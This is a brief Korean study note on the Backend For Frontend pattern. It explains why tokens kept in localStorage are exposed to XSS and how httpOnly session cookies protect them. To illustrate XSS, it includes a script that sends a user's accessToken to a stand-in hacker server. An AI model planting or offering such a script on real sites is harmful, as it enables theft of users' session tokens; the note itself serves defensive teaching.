BFF (Backend For Frontend)

BFF란

프론트엔드를 위한 전용 백엔드 서버

왜 쓰나

accessToken을 브라우저에 저장하면 안 되는 이유

• JWT라 정보가 다 보임
• localStorage에 저장하면 XSS 공격으로 털릴 수 있음

XSS 공격이란

악성 스크립트를 웹사이트에 심는 공격

<script>
  fetch('https://해커서버.com?token=' + localStorage.getItem('accessToken'))
</script>

댓글 같은 입력창에 이걸 심으면 다른 사람 토큰이 해커한테 전송됨

BFF 방식 흐름

• accessToken은 서버(BFF)에만 보관
• 브라우저한테는 sid(세션ID)만 줌
• sid는 httpOnly 쿠키로 저장 → 자바스크립트로 못 읽음
• 브라우저가 sid 들고 오면 BFF가 accessToken으로 API 대신 호출

httpOnly 쿠키란

• 자바스크립트로 읽기 불가 (document.cookie로 안 잡힘)
• 브라우저가 요청할 때 자동으로 붙여줌
• XSS 공격으로 털릴 일 없음

BFF 쓰는 이유 정리

• accessToken, refreshToken 관리를 서버에서 처리
• 여러 백엔드 API를 프론트 입장에서 하나처럼 사용
• 브라우저에 백엔드 API 주소 노출 안 함